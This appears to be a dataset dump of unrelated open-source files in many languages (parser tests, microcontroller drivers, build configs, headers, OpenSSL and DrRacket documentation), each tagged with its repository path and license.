test (typeDeclaration ~ end) on "type A<B,C> = B & C;" correctly "016td3"
test (typeDeclaration ~ end) on "type A<B> = B | Noo | Bar;" correctly "016td4"
test (typeDeclaration ~ end) on "type Colours = \"red\" | \"green\" | \"blue\";" correctly "016td5"
test (typeDeclaration ~ end) on "type FooInterface = type \{a(A); b(B); \};" correctly "016td6"
test (typeDeclaration ~ end) on "type FooInterface = \{a(A); b(B); \};" correctly "016td7"
test (typeDeclaration ~ end) on "type PathType = super.a.b.C;" correctly "016td8"
test (typeDeclaration ~ end) on "type GenericPathType<A,X> = a.b.C<A,X>;" correctly "016td9"
test (whereClause ~ end) on "where T <: Sortable;" correctly "017a1"
test (whereClause ~ end) on "where T <: Foo<A,B>;" correctly "017a2"
test (whereClause ~ end) on "where T <: Foo<A,B>; where T <: Sortable<T>;" correctly "017a3"
testProgramOn "method foo<T>(a) where T < Foo; \{a; b; c\}" correctly "017c1"
testProgramOn "method foo<TER,MIN,US>(a, b, c) where TERM <: MIN <: US; \{a; b; c\}" correctly "017c2"
testProgramOn "method foo<TXE>(a : T) where TXE <: TXE; \{a; b; c\}" correctly "017c3"
testProgramOn "method foo<T,U,V>(a : T, b : T, c : T) -> T where T <: X<T>; \{a; b; c\}" correctly "017c4"
testProgramOn "method foo<T,U>(a : T, b : T, c : T) foo(a : T, b : T, c : T) -> T where T <: T; \{a; b; c\}" correctly "017c6"
testProgramOn "class Foo<A>(a : A, b : B) new(a : A, b : B) where T <: X; \{ a; b; c; \}" correctly "017f"
testProgramOn "class Foo<A, B>(a : A, b : B) where A <: B; \{ a; b; c; \}" correctly "017g"
testProgramOn "class Foo<A, B>(a : A, b : B) where A <: B; where A <: T<A,V,\"Foo\">; \{ a; b; c; \}" correctly "017g"
testProgramOn "class Foo<A, B>(a : A, b : B) where A <: B; where A <: T<A,V,\"Foo\">; \{ method a where T<X; \{ \}; method b(a : Q) where T <: X; \{ \}; method c where SelfType <: Sortable<Foo>; \{ \} \}" correctly "017g"
test (matchBinding ~ end) on "a" correctly "018a1"
test (matchBinding ~ end) on "_" correctly "018a1"
test (matchBinding ~ end) on "0" correctly "018a1"
test (matchBinding ~ end) on "(a)" correctly "018a1"
test (matchBinding ~ end) on "\"Fii\"" correctly "018a1"
test (matchBinding ~ end) on "a : Foo" correctly "018a1"
test (matchBinding ~ end) on "a : Foo(bar,baz)" correctly "018a1"
test (matchBinding ~ end) on "a : Foo(_ : Foo(a,b), _ : Foo(c,d))" correctly "018a1"
test (blockLiteral ~ end) on "\{ _ : Foo -> last \}" correctly "018b1"
test (blockLiteral ~ end) on "\{ 0 -> \"Zero\" \}" correctly "018b"
test (blockLiteral ~ end) on "\{ s:String -> print(s) \}" correctly "018b"
test (blockLiteral ~ end) on " \{ (pi) -> print(\"Pi = \" ++ pi) \}" correctly "018c"
test (blockLiteral ~ end) on " \{ _ : Some(v) -> print(v) \}" correctly "018d"
test (blockLiteral ~ end) on " \{ _ : Pair(v : Pair(p,q), a : Number) -> print(v) \}" correctly "018e"
test (blockLiteral ~ end) on " \{ _ -> print(\"did not match\") \}" correctly "018f"
testProgramOn "\{ _ : Foo -> last \}" correctly "018b1"
testProgramOn "\{ 0 -> \"Zero\" \}" correctly "018b"
testProgramOn "\{ s:String -> print(s) \}" correctly "018b"
testProgramOn " \{ (pi) -> print(\"Pi = \" ++ pi) \}" correctly "018c"
testProgramOn " \{ _ : Some(v) -> print(v) \}" correctly "018d"
testProgramOn " \{ _ : Pair(v : Pair(p,q), a : Number) -> print(v) \}" correctly "018e"
testProgramOn " \{ _ -> print(\"did not match\") \}" correctly "018f"
testProgramOn "call(params[1].value)" correctly "100z1"
test (expression ~ end) on "call(params[1].value)" correctly "100z1"
testProgramOn "method x1 \{foo(3)\n bar(2)\n bar(2)\n foo(4)\n\}" correctly "101a1"
testProgramOn "method x1 \{foo(3)\n bar(2)\n bar(2)\n foo(4)\n \}" wrongly "101a1x"
testProgramOn "method x2 \{foo(3) bar(2) bar(2)\}" correctly "101a2"
testProgramOn "method x3 \{\n foo(3)\n bar(2)\n bar(2)\n foo(4) \n \}" correctly "101a3"
testProgramOn "method x2 \{\nfoo\nfoo\nfoo\n}\n" wrongly "102a1"
testProgramOn "0" correctly "99z1"
testProgramOn "\"NOT FAILED AND DONE\"" correctly "99z2"
testProgramOn "print (true && \{truemeth\} && \{true\})" correctly "Eelco1"
print "Done tests"
| Grace | 5 | smola/language-dataset | data/github.com/kjx/combinators/cec7cbd8c20195c4e2196745a934b64f5d785d9d/combinators.grace | [
"MIT"
] |
{EaDog_Driver_demo}
CON
_clkmode = xtal1 + pll16x 'Standard clock mode * crystal frequency = 80 MHz
_xinfreq = 5_000_000
OBJ
disp : "EaDog_driver"
PUB Main | i, d ''Testing EaDog128L display.Please check or change I/O pin first!
disp.Init 'Can init
disp.Blight(1) 'Switch on backlight led
waitcnt(80_000_000 + cnt) 'Wait second
disp.ctrl_en(1) 'Display select
repeat i from 0 to 7 'Can fill display $FF
disp.ch_page($B0 + i)
repeat 128
disp.send_data($FF)
waitcnt(80_000_000 + cnt)
disp.cls 'Can Clear screen
waitcnt(80_000_000 + cnt)
d += 2 'Jump 2 byte file header (.blv file created EA LCD tools)
repeat i from 0 to 7
disp.ch_page($B0 + i) 'Step Page address
repeat 128
disp.send_data(byte[@pic][d++]) 'step one byte in file
disp.ctrl_en(0) 'Display no longer selected
repeat 'propeller can't stop
DAT
pic file "test.blv" | Propeller Spin | 4 | deets/propeller | libraries/community/p1/All/EADog128L driver and spin demo/eadog/eadog128l_demo.spin | [
"MIT"
] |
ifeq ($(HOST),armv7a-linux-android)
android_CXX=$(ANDROID_TOOLCHAIN_BIN)/$(HOST)eabi$(ANDROID_API_LEVEL)-clang++
android_CC=$(ANDROID_TOOLCHAIN_BIN)/$(HOST)eabi$(ANDROID_API_LEVEL)-clang
else
android_CXX=$(ANDROID_TOOLCHAIN_BIN)/$(HOST)$(ANDROID_API_LEVEL)-clang++
android_CC=$(ANDROID_TOOLCHAIN_BIN)/$(HOST)$(ANDROID_API_LEVEL)-clang
endif
android_AR=$(ANDROID_TOOLCHAIN_BIN)/llvm-ar
android_RANLIB=$(ANDROID_TOOLCHAIN_BIN)/llvm-ranlib
android_cmake_system=Android
| Makefile | 3 | apokalyzr/bitcoin | depends/hosts/android.mk | [
"MIT"
] |
"""
BCW0020-1.boo(13,11): BCW0020: WARNING: Assignment made to same expression. Did you mean to assign to something else?
BCW0020-1.boo(15,16): BCW0020: WARNING: Assignment made to same expression. Did you mean to assign to something else?
BCW0020-1.boo(20,3): BCW0020: WARNING: Assignment made to same expression. Did you mean to assign to something else?
BCW0020-1.boo(24,7): BCW0020: WARNING: Assignment made to same expression. Did you mean to assign to something else?
BCW0020-1.boo(28,7): BCW0020: WARNING: Assignment made to same expression. Did you mean to assign to something else?
"""
class Foo:
public x as int
public static y = 0
def Bad(x as int):
x = x #!
self.x = x
self.x = self.x #!
x = 1
y = 2
x = x #!
x = y
x += x
Foo.y = Foo.y #!
Foo().x = Foo().x
foo = Foo()
foo2 = Foo()
foo.x = foo.x #!
foo.x = foo2.x
| Boo | 1 | popcatalin81/boo | tests/testcases/warnings/BCW0020-1.boo | [
"BSD-3-Clause"
] |
/******************************************************************************
* Copyright 2017 The Apollo Authors. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*****************************************************************************/
/**
* @file reference_point.h
**/
#pragma once
#include <string>
#include <vector>
#include "modules/common/proto/pnc_point.pb.h"
#include "modules/map/pnc_map/path.h"
namespace apollo {
namespace planning {
class ReferencePoint : public hdmap::MapPathPoint {
public:
ReferencePoint() = default;
ReferencePoint(const MapPathPoint& map_path_point, const double kappa,
const double dkappa);
common::PathPoint ToPathPoint(double s) const;
double kappa() const;
double dkappa() const;
std::string DebugString() const;
static void RemoveDuplicates(std::vector<ReferencePoint>* points);
private:
double kappa_ = 0.0;
double dkappa_ = 0.0;
};
} // namespace planning
} // namespace apollo
| C | 4 | jzjonah/apollo | modules/planning/reference_line/reference_point.h | [
"Apache-2.0"
] |
//==============================================================================
//
// Copyright (c) 2019-2020 Qualcomm Technologies, Inc.
// All Rights Reserved.
// Confidential and Proprietary - Qualcomm Technologies, Inc.
//
//==============================================================================
#ifndef PSNPE_RUNTIMECONFIGLIST_HPP
#define PSNPE_RUNTIMECONFIGLIST_HPP
#include <iostream>
#include "DlContainer/IDlContainer.hpp"
#include "DlSystem/DlEnums.hpp"
#include "DlSystem/RuntimeList.hpp"
#include "DlSystem/TensorShapeMap.hpp"
#include "DlSystem/ZdlExportDefine.hpp"
namespace zdl {
namespace PSNPE {
/** @addtogroup c_plus_plus_apis C++
@{ */
/**
* @brief .
*
* The structure for configuring a BulkSNPE runtime
*
*/
struct ZDL_EXPORT RuntimeConfig final {
zdl::DlSystem::Runtime_t runtime;
zdl::DlSystem::RuntimeList runtimeList;
zdl::DlSystem::PerformanceProfile_t perfProfile;
zdl::DlSystem::TensorShapeMap inputDimensionsMap;
bool enableCPUFallback;
RuntimeConfig()
: runtime{zdl::DlSystem::Runtime_t::CPU_FLOAT32},
perfProfile{zdl::DlSystem::PerformanceProfile_t::HIGH_PERFORMANCE},
enableCPUFallback{false} {}
RuntimeConfig(const RuntimeConfig& other) {
runtime = other.runtime;
runtimeList = other.runtimeList;
perfProfile = other.perfProfile;
enableCPUFallback = other.enableCPUFallback;
inputDimensionsMap = other.inputDimensionsMap;
}
RuntimeConfig& operator=(const RuntimeConfig& other) {
this->runtimeList = other.runtimeList;
this->runtime = other.runtime;
this->perfProfile = other.perfProfile;
this->enableCPUFallback = other.enableCPUFallback;
this->inputDimensionsMap = other.inputDimensionsMap;
return *this;
}
~RuntimeConfig() {}
};
/**
* @brief .
*
* The class for creating a RuntimeConfig container.
*
*/
class ZDL_EXPORT RuntimeConfigList final {
public:
RuntimeConfigList();
RuntimeConfigList(const size_t size);
void push_back(const RuntimeConfig& runtimeConfig);
RuntimeConfig& operator[](const size_t index);
RuntimeConfigList& operator=(const RuntimeConfigList& other);
size_t size() const noexcept;
size_t capacity() const noexcept;
void clear() noexcept;
~RuntimeConfigList() = default;
private:
void swap(const RuntimeConfigList& other);
std::vector<RuntimeConfig> m_runtimeConfigs;
};
/** @} */ /* end_addtogroup c_plus_plus_apis C++ */
} // namespace PSNPE
} // namespace zdl
#endif // PSNPE_RUNTIMECONFIGLIST_HPP
| C++ | 4 | Neptos/openpilot | phonelibs/snpe/include/SNPE/RuntimeConfigList.hpp | [
"MIT"
] |
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
import { RenderingContext } from 'vs/editor/browser/view/renderingContext';
import { ViewEventHandler } from 'vs/editor/common/viewEventHandler';
export abstract class DynamicViewOverlay extends ViewEventHandler {
public abstract prepareRender(ctx: RenderingContext): void;
public abstract render(startLineNumber: number, lineNumber: number): string;
}
| TypeScript | 4 | sbj42/vscode | src/vs/editor/browser/view/dynamicViewOverlay.ts | [
"MIT"
] |
SELECT k, finalizeAggregation(quantilesTimingState(0.5)(x)) FROM (SELECT intDiv(number, 30000 AS d) AS k, number % d AS x FROM system.numbers LIMIT 100000) GROUP BY k WITH TOTALS ORDER BY k;
| SQL | 3 | pdv-ru/ClickHouse | tests/queries/0_stateless/00271_agg_state_and_totals.sql | [
"Apache-2.0"
] |
PHP_ARG_ENABLE([filter],
[whether to enable input filter support],
[AS_HELP_STRING([--disable-filter],
[Disable input filter support])],
[yes])
if test "$PHP_FILTER" != "no"; then
PHP_NEW_EXTENSION(filter, filter.c sanitizing_filters.c logical_filters.c callback_filter.c, $ext_shared,, -DZEND_ENABLE_STATIC_TSRMLS_CACHE=1)
PHP_SUBST(FILTER_SHARED_LIBADD)
PHP_INSTALL_HEADERS([ext/filter/php_filter.h])
PHP_ADD_EXTENSION_DEP(filter, pcre)
fi
| M4 | 2 | thiagooak/php-src | ext/filter/config.m4 | [
"PHP-3.01"
] |
sleep 1
t app led red_top_bottom on
sleep 3
t app led red_top_bottom off
sleep 1
t app led red_top_bottom on
sleep 3
t app led red_top_bottom off
sleep 1
t app button shutter PR
| AGS Script | 2 | waltersgrey/autoexechack | Timer/Hero3PlusSilver/Top-Bottom-LED/autoexec.ash | [
"MIT"
] |
=pod
=head1 NAME
OSSL_PARAM_dup, OSSL_PARAM_merge, OSSL_PARAM_free
- OSSL_PARAM array copy functions
=head1 SYNOPSIS
#include <openssl/params.h>
OSSL_PARAM *OSSL_PARAM_dup(const OSSL_PARAM *params);
OSSL_PARAM *OSSL_PARAM_merge(const OSSL_PARAM *params, const OSSL_PARAM *params1);
void OSSL_PARAM_free(OSSL_PARAM *params);
=head1 DESCRIPTION
Algorithm parameters can be exported/imported from/to providers using arrays of
B<OSSL_PARAM>. The following utility functions allow the parameters to be
duplicated and merged with other B<OSSL_PARAM> to assist in this process.
OSSL_PARAM_dup() duplicates the parameter array I<params>. This function does a
deep copy of the data.
OSSL_PARAM_merge() merges the parameter arrays I<params> and I<params1> into a
new parameter array. If I<params> and I<params1> contain values with the same
'key' then the value from I<params1> will replace the I<param> value. This
function does a shallow copy of the parameters. Either I<params> or I<params1>
may be NULL. The behaviour of the merge is unpredictable if I<params> and
I<params1> contain the same key, and there are multiple entries within either
array that have the same key.
OSSL_PARAM_free() frees the parameter array I<params> that was created using
OSSL_PARAM_dup(), OSSL_PARAM_merge() or OSSL_PARAM_BLD_to_param().
=head1 RETURN VALUES
The functions OSSL_PARAM_dup() and OSSL_PARAM_merge() return a newly allocated
B<OSSL_PARAM> array, or NULL if there was an error. If both parameters are NULL
then NULL is returned.
=head1 SEE ALSO
L<OSSL_PARAM(3)>, L<OSSL_PARAM_BLD(3)>
=head1 HISTORY
The functions were added in OpenSSL 3.0.
=head1 COPYRIGHT
Copyright 2021 The OpenSSL Project Authors. All Rights Reserved.
Licensed under the Apache License 2.0 (the "License"). You may not use
this file except in compliance with the License. You can obtain a copy
in the file LICENSE in the source distribution or at
L<https://www.openssl.org/source/license.html>.
=cut
| Pod | 5 | pmesnier/openssl | doc/man3/OSSL_PARAM_dup.pod | [
"Apache-2.0"
] |
include:
- git_pillar.ssh.server
- git_pillar.ssh.user
| SaltStack | 2 | byteskeptical/salt | tests/integration/files/file/base/git_pillar/ssh/init.sls | [
"Apache-2.0"
] |
# make sure redo doesn't think merely *reading* the old file counts as
# modifying it in-place.
cat $1 >/dev/null 2>/dev/null || true
../../redo/py tick.py
cat $1 >/dev/null 2>/dev/null || true
echo hello
| Stata | 1 | BlameJohnny/redo | t/101-atime/atime2.do | [
"Apache-2.0"
] |
import TodoTask from 'TodoTask';
define TodoList {
slot toggleAll (event) {
var completed = event.currentTarget.checked;
this.model.toggleAll(completed);
}
slot taskChanged () {
this.model.save();
}
slot taskRemoved (event, task) {
this.model.del(task);
}
input .toggle-all
type = checkbox
checked = '~[bind: status.todoCount == 0 ? "checked" ]'
x-tap = toggleAll
;
label for='toggle-all' > 'Mark all as complete'
ul .todo-list {
// bind todos collection
+each (.) > TodoTask;
}
}
| Mask | 4 | elenaparaschiv/todomvc | examples/atmajs/js/Todos/TodoList.mask | [
"MIT"
] |
x = 3
y = 2x
typeof(y)
f(x) = 2 + x
f
f(10)
function g(x, y)
z = x + y
return z^2
end
g(1, 2)
let s = 0
for i in 1:10
s += i # Equivalent to s = s + i
end
s
end
typeof(1:10)
function mysum(n)
s = 0
for i in 1:n
s += i
end
return s
end
mysum(100)
a = 3
a < 5
if a < 5
"small"
else
"big"
end
v = [1, 2, 3]
typeof(v)
v[2]
v[2] = 10
v2 = [i^2 for i in 1:10]
M = [1 2
3 4]
typeof(M)
zeros(5, 5)
zeros(Int, 4, 5)
[i + j for i in 1:5, j in 1:6]
| Julia | 3 | JesseVermeulen123/bat | tests/syntax-tests/source/Julia/test.jl | [
"Apache-2.0",
"MIT"
] |
{{
***************************
* Pink V2 object v1.2 *
* Coded by Peter Verkaik *
* Date: December 19, 2007 *
***************************
}}
CON
'public constants
'//general purpose read/write registers (in order of memory map)
Nb_var00 = 00
Nb_var01 = 01
Nb_var02 = 02
Nb_var03 = 03
Nb_var04 = 04
Nb_var05 = 05
Nb_var06 = 06
Nb_var07 = 07
Nb_var08 = 08
Nb_var09 = 09
Nb_var10 = 10
Nb_var11 = 11
Nb_var12 = 12
Nb_var13 = 13
Nb_var14 = 14
Nb_var15 = 15
Nb_var16 = 16
Nb_var17 = 17
Nb_var18 = 18
Nb_var19 = 19
Nb_var20 = 20
Nb_var21 = 21
Nb_var22 = 22
Nb_var23 = 23
Nb_var24 = 24
Nb_var25 = 25
Nb_var26 = 26
Nb_var27 = 27
Nb_var28 = 28
Nb_var29 = 29
Nb_var30 = 30
Nb_var31 = 31
Nb_var32 = 32
Nb_var33 = 33
Nb_var34 = 34
Nb_var35 = 35
Nb_var36 = 36
Nb_var37 = 37
Nb_var38 = 38
Nb_var39 = 39
Nb_var40 = 40
Nb_var41 = 41
Nb_var42 = 42
Nb_var43 = 43
Nb_var44 = 44
Nb_var45 = 45
Nb_var46 = 46
Nb_var47 = 47
Nb_var48 = 48
Nb_var49 = 49
Nb_var50 = 50
Nb_var51 = 51
Nb_var52 = 52
Nb_var53 = 53
Nb_var54 = 54
Nb_var55 = 55
Nb_var56 = 56
Nb_var57 = 57
Nb_var58 = 58
Nb_var59 = 59
Nb_var60 = 60
Nb_var61 = 61
Nb_var62 = 62
Nb_var63 = 63
Nb_var64 = 64
Nb_var65 = 65
Nb_var66 = 66
Nb_var67 = 67
Nb_var68 = 68
Nb_var69 = 69
Nb_var70 = 70
Nb_var71 = 71
Nb_var72 = 72
Nb_var73 = 73
Nb_var74 = 74
Nb_var75 = 75
Nb_var76 = 76
Nb_var77 = 77
Nb_var78 = 78
Nb_var79 = 79
Nb_var80 = 80
Nb_var81 = 81
Nb_var82 = 82
Nb_var83 = 83
Nb_var84 = 84
Nb_var85 = 85
Nb_var86 = 86
Nb_var87 = 87
Nb_var88 = 88
Nb_var89 = 89
Nb_var90 = 90
Nb_var91 = 91
Nb_var92 = 92
Nb_var93 = 93
Nb_var94 = 94
Nb_var95 = 95
Nb_var96 = 96
Nb_var97 = 97
Nb_var98 = 98
Nb_var99 = 99
'//special read/write registers (in order of memory map)
Nb_varBP = 100 '//IP address of UDP message port
Nb_varBM = 101 '//content of udp message (both send and receive)
Nb_varBI = 102 '//IP destination address for udp message (send only)
Nb_varEA = 103 '//Email Authentication
Nb_varEP = 104 '//Email Password
Nb_varEU = 105 '//Email Username
Nb_varEV = 106 '//Email smtp server register
Nb_varEC = 107 '//Email Content register
Nb_varES = 108 '//Email Subject register
Nb_varEF = 109 '//Email From register
Nb_varET = 110 '//Email To register
'//readonly variables
Nb_varSD = 111 '//current DNS address register, read only
Nb_varSG = 112 '//current default gateway register, read only
Nb_varSI = 113 '//current IP address register, read only
Nb_varSN = 114 '//current network mask register, read only
Nb_varST = 115 '//STatus register, read only
Nb_varSU = 116 '//IP address of last incoming UDP message, read only
Nb_varSV = 117 '//post register, read only
'//private constants
CLS = 0
DAT
'private data
codes
BYTE "BP" '100
BYTE "BM" '101
BYTE "BI" '102
BYTE "EA" '103
BYTE "EP" '104
BYTE "EU" '105
BYTE "EV" '106
BYTE "EC" '107
BYTE "ES" '108
BYTE "EF" '109
BYTE "ET" '110
BYTE "SD" '111 readonly
BYTE "SG" '112 readonly
BYTE "SI" '113 readonly
BYTE "SN" '114 readonly
BYTE "ST" '115 readonly
BYTE "SU" '116 readonly
BYTE "SV" '117 readonly
VAR
'private variables
byte gStatus
byte pinkId
OBJ
sio: "FullDuplexSerial" 'serial driver for Pink device
PUB PinkV2(id,tx,rx)
'/**
' * Constructor for Pink object
' *
' * @param id Identifies Pink webserver (use default '0')
' * @param tx Transmit pin used to send commands and data to Pink
' * @param rx Receive pin to receive status and data from Pink
' */
pinkId := id
sio.start(rx,tx,0,9600)
PUB clearVar(addr,num)
'/**
' * Clear range of Pink variables.
' *
' * @param addr Address (0-110) of first Pink variable to clear.
' * @param num Number of variables (1-111) to clear.
' */
if (addr => 0) AND (addr < 111) AND (num => 1) '//only write to PINK with valid parameters
repeat while (addr < 111) AND (num > 0)
sendCommand(addr++,1)
sio.tx(":")
sio.tx(CLS) '//inform PINK this write command is completed
num--
PUB writeVar(addr,buf): writtenBytes | i,c,n
'/**
' * Write value to Pink variable.
' * If the number of bytes to write is 64 or more, this method only writes the first 63 bytes.
' * Bytes are written up to a binary null (CLS character).
' * No bytes are written if any of the parameters is invalid.
' *
' * @param addr Address (0-110) of Pink variable.
' * @param buf Array holding value to write.
' * @return Number of bytes written (exclusive closing null) or errorcode.
' */
if (addr < 0) OR (addr > 110)
writtenBytes := -1 '//do not write to PINK with invalid parameters
else
n := 63 'buf.length-1; //maximum number of bytes to write
i := 0
c := -1
sendCommand(addr,1)
sio.tx(":")
repeat while (i < n) AND (c <> CLS)
c := byte[buf+i]
if (c <> CLS)
sio.tx(c)
i++
sio.tx(CLS) '//inform PINK this write command is completed
writtenBytes := i
PUB readVar(addr,buf): readBytes | i,c,n
'/**
' * Read value from Pink variable.
' * This method reads bytes from a variable until a CLS character is encountered,
' * or until the buffer is filled, whichever comes first. A closing 0 will be
' * appended to the bytes that are read.
' *
' * @param addr Address (0-117) of Pink variable.
' * @param buf Array to hold value (array size should be 64 bytes).
' * @return Number of bytes read (exclusive closing 0) or errorcode in case of timeout or invalid parameter.
' */
if (addr < 0) OR (addr > 117)
readBytes := -1 '//do not write to PINK with invalid parameters
else
n := 63 '//maximum number of bytes to read, last byte is cleared
sendCommand(addr,0)
i := 0
c := -2
repeat while (c <> CLS) AND (c <> -1) '//keep reading until CLS, even if not stored in buf
c := sio.rxtime(1000)
if (i < n) AND (c <> -1)
byte[buf+i] := c '//only write to buf until position is buf.length-1
i++
byte[buf+i] := CLS
if c == CLS
readBytes := i-1
else
readBytes := -1
PUB sendEmail
'/**
' * Send email message.
' * Nb_varET, Nb_varEF, Nb_varES, Nb_varEC and Nb_varEV must contain correct values.
' */
sio.tx("!")
sio.tx("N")
sio.tx("B")
sio.tx(pinkId)
sio.tx("S")
sio.tx("M")
PUB sendUdp
'/**
' * Send UDP message.
' * Nb_varBI and Nb_varBM must contain correct values.
' */
sio.tx("!")
sio.tx("N")
sio.tx("B")
sio.tx(pinkId)
sio.tx("S")
sio.tx("B")
PUB getStatus: status
'/**
' * Get status register.
' * Also internally stored for status methods.
' *
' * @return status or errorcode
' */
sio.tx("!")
sio.tx("N")
sio.tx("B")
sio.tx(pinkId)
sio.tx("S")
sio.tx("T")
gStatus := sio.rxtime(2000) 'wait 2000ms for response, returns -1 if no response
return gStatus
PUB getPost: post
'/**
' * Get post register.
' *
' * @return post or errorcode
' */
sio.tx("!")
sio.tx("N")
sio.tx("B")
sio.tx(pinkId)
sio.tx("S")
sio.tx("V")
post := sio.rxtime(1000) 'wait 1000ms for response, returns -1 if no response
PUB isConnected: YesNo
'/**
' * Check if network connection is established.
' * Method getStatus() must have been called.
' *
' * @return True if network connection established, false otherwise.
' */
YesNo := ((gStatus & $01) <> 0) AND (gStatus <> $FF)
PUB isUpdated: YesNo
'/**
' * Check if variable is updated via webpage.
' * Method getStatus() must have been called.
' * Nb_varSV will hold the number of the last variable updated from a web page POST.
' * To read the value of this variable, use readVar(Nb_varSV,buf,offset).
' *
' * @return True if variable updated, false otherwise.
' */
YesNo := ((gStatus & $02) <> 0) AND (gStatus <> $FF)
PUB isReady: YesNo
'/**
' * Check if Pink ready to send email.
' * Method getStatus() must have been called.
' * Nb_varET, Nb_varEF, Nb_varES, Nb_varEC and Nb_varEV must contain correct values.
' *
' * @return True if Pink ready to send email, false otherwise.
' */
YesNo := ((gStatus & $04) == 0) AND (gStatus <> $FF)
PUB isSent: YesNo
'/**
' * Check if email has been sent succesfully.
' * Method getStatus() must have been called.
' *
' * @return True if email has been sent succesfully, false otherwise.
' */
YesNo := ((gStatus & $10) <> 0) AND (gStatus <> $FF)
PUB isUdp: YesNo
'/**
' * Check if there is a new udp message.
' * Method getStatus() must have been called.
' *
' * @return True if new udp message received, false otherwise.
' */
YesNo := ((gStatus & $20) <> 0) AND (gStatus <> $FF)
PUB noResponse: YesNo
'/**
' * Check if Pink responded (no timeout on getStatus).
' * Method getStatus() must have been called.
' *
' * @return True if Pink did not respond, false if Pink did respond.
' */
YesNo := (gStatus == $FF)
PRI sendCommand(addr,write)
'/**
' * Send command to Pink webserver.
' *
' * @param addr Address (0-117) of Pink variable.
' * @param write True for write command, false for read command
' */
sio.tx("!")
sio.tx("N")
sio.tx("B")
sio.tx(pinkId)
if write == 1
sio.tx("W")
else
sio.tx("R")
if addr < 100
sio.tx((addr/10)+"0")
sio.tx((addr//10)+"0")
else
sio.tx(codes[(addr-100) << 1])
sio.tx(codes[((addr-100) << 1) + 1])
| Propeller Spin | 5 | deets/propeller | libraries/community/p1/All/PinkV2/PinkV2.spin | [
"MIT"
] |
use @pony_exitcode[None](code: I32)
actor Main
new create(env: Env) =>
let a: ((Any, U8) | None) = (U8(0), 0)
let b: ((U8, U8) | None) = (0, 0)
if a is b then
@pony_exitcode(1)
end
| Pony | 3 | rtpax/ponyc | test/libponyc-run/identity-tuple-different-types/main.pony | [
"BSD-2-Clause"
] |
////////////////////////////////////////////////////////////////////////////////
// AssemblyInfo.prg
USING System.Reflection
USING System.Runtime.InteropServices
USING System.Security
[assembly: AssemblyTitleAttribute( "VO-Compatible Win32 API Library" )]
[assembly: AssemblyDescriptionAttribute( "VO-Compatible Win32 API Functions and Structures" )]
| xBase | 3 | orangesocks/XSharpPublic | Runtime/VOSDK/Source/VOSDK/Win32_API_Library_SDK/Properties/AssemblyInfo.prg | [
"Apache-2.0"
] |
#lang scribble/doc
@(require "common.rkt")
@title[#:tag "drracket-files"]{DrRacket Files}
@; ----------------------------------------
@section[#:tag "drracket-file-formats"]{Program Files}
The standard @as-index{file extension} for a Racket program file is
@indexed-file{.rkt}. The extensions @indexed-file{.ss},
@indexed-file{.scm}, and @indexed-file{.sch} are also historically
popular.
DrRacket's editor can save a program file in two different formats:
@itemize[
@item{@deftech{Plain-text file format} --- All text editors can read
this format. DrRacket saves a program in plain-text format by
default, unless the program contains images or text boxes.
(Plain-text format does not preserve images or text boxes.)
Plain-text format is platform-specific because different
platforms have different newline conventions. However, most
tools for moving files across platforms support a ``text''
transfer mode that adjusts newlines correctly.}
@item{@deftech{Multimedia file format} --- This format is specific to
DrRacket, and no other editor recognizes it. DrRacket saves a
program in multimedia format by default when the program
contains images, text boxes, or formatted text.
Multimedia format is platform-independent, and it uses an ASCII
encoding (so that different ways of transferring the file are
unlikely to corrupt the file).}
]
@; ----------------------------------------
@section[#:tag "drracket-autosave-files"]{Backup and First Change Files}
Every 30 seconds, DrRacket checks each open file. If any
file is modified and not saved, DrRacket saves the contents
of the file in a new file, just in case there is a power
failure or some other catastrophic error. If the original
file is later saved, or if the user exits DrRacket and
explicitly declines to save the file, the backup file is
removed. The backup file is saved in the same directory as
the original file, and the back file's name is generated
from the original file's name:
@itemize[
@item{On Unix and Mac OS, a @filepath{#} is added to the
start and end of the file's name, then a number is added
after the ending @filepath{#}, and then one more
@filepath{#} is appended after the number. The number is
selected to make the backup filename unique.}
@item{On Windows, the file's extension is replaced with a
number to make the backup filename unique.}
]
If the definitions window is modified and there is no
current file, then a backup file is written to the user's
``documents'' directory. The ``documents'' directory is
determined by @racket[(find-system-path 'doc-dir)].
@margin-note{In DrRacket's implementation, these files are
called ``autosave'' files, not backup files.}
When you modify an existing file in DrRacket and save it, DrRacket
copies the old version of the file to a special ``first change'' file if no
such file exists. The first-change file is saved in the same directory as
the original file, and the first-change file's name is generated from the
original file's name:
@itemize[
@item{On Unix and Mac OS, a @filepath{~} is added to the end of
the file's name.}
@item{On Windows, the file's extension is replaced with
@filepath{.bak}.}
]
@; ----------------------------------------
@section{Preference Files}
On start-up, DrRacket reads configuration information from a
preferences file. The name and location of the preferences file
depends on the platform and user:
@margin-note{The expression @racket[(find-system-path 'pref-file)]
returns the platform- and user-specific preference file path.}
@itemize[
@item{On Unix, preferences are stored in a
@indexed-file{.racket} subdirectory in the user's home
directory, in a file @indexed-file{racket-prefs.rktd}.}
@item{On Windows, preferences are stored in a file
@indexed-file{racket-prefs.rktd} in a sub-directory
@indexed-file{Racket} in the user's application-data folder as
specified by the Windows registry; the application-data folder is
usually @indexed-file{Application Data} in the user's profile
directory, and that directory is usually hidden in the Windows GUI.}
@item{On Mac OS, preferences are stored in
@indexed-file{org.racket-lang.prefs.rktd} in the user's preferences
folder.}
]
A lock file is used while modifying the preferences file, and it is
created in the same directory as the preferences file. On Windows,
the lock file is named @indexed-file{_LOCKracket-prefs.rktd}; on Unix,
it is @indexed-file{.LOCK.racket-prefs.rktd}; on Mac OS, it is
@indexed-file{.LOCK.org.racket-lang.prefs.rktd}.
If the user-specific preferences file does not exist, and the file
@indexed-file{racket-prefs.rktd} in the @filepath{defaults} collection
does exist, then it is used for the initial preference settings. (See
@secref[#:doc '(lib "scribblings/reference/reference.scrbl")
"collects"] for more information about collections.) This file thus
allows site-specific configuration for preference defaults. To set up
such a configuration, start DrRacket and configure the preferences to
your liking. Then, exit DrRacket and copy your preferences file into
the @filepath{defaults} collection as
@filepath{racket-prefs.rktd}. Afterward, users who have no preference
settings already will get the preference settings that you chose.
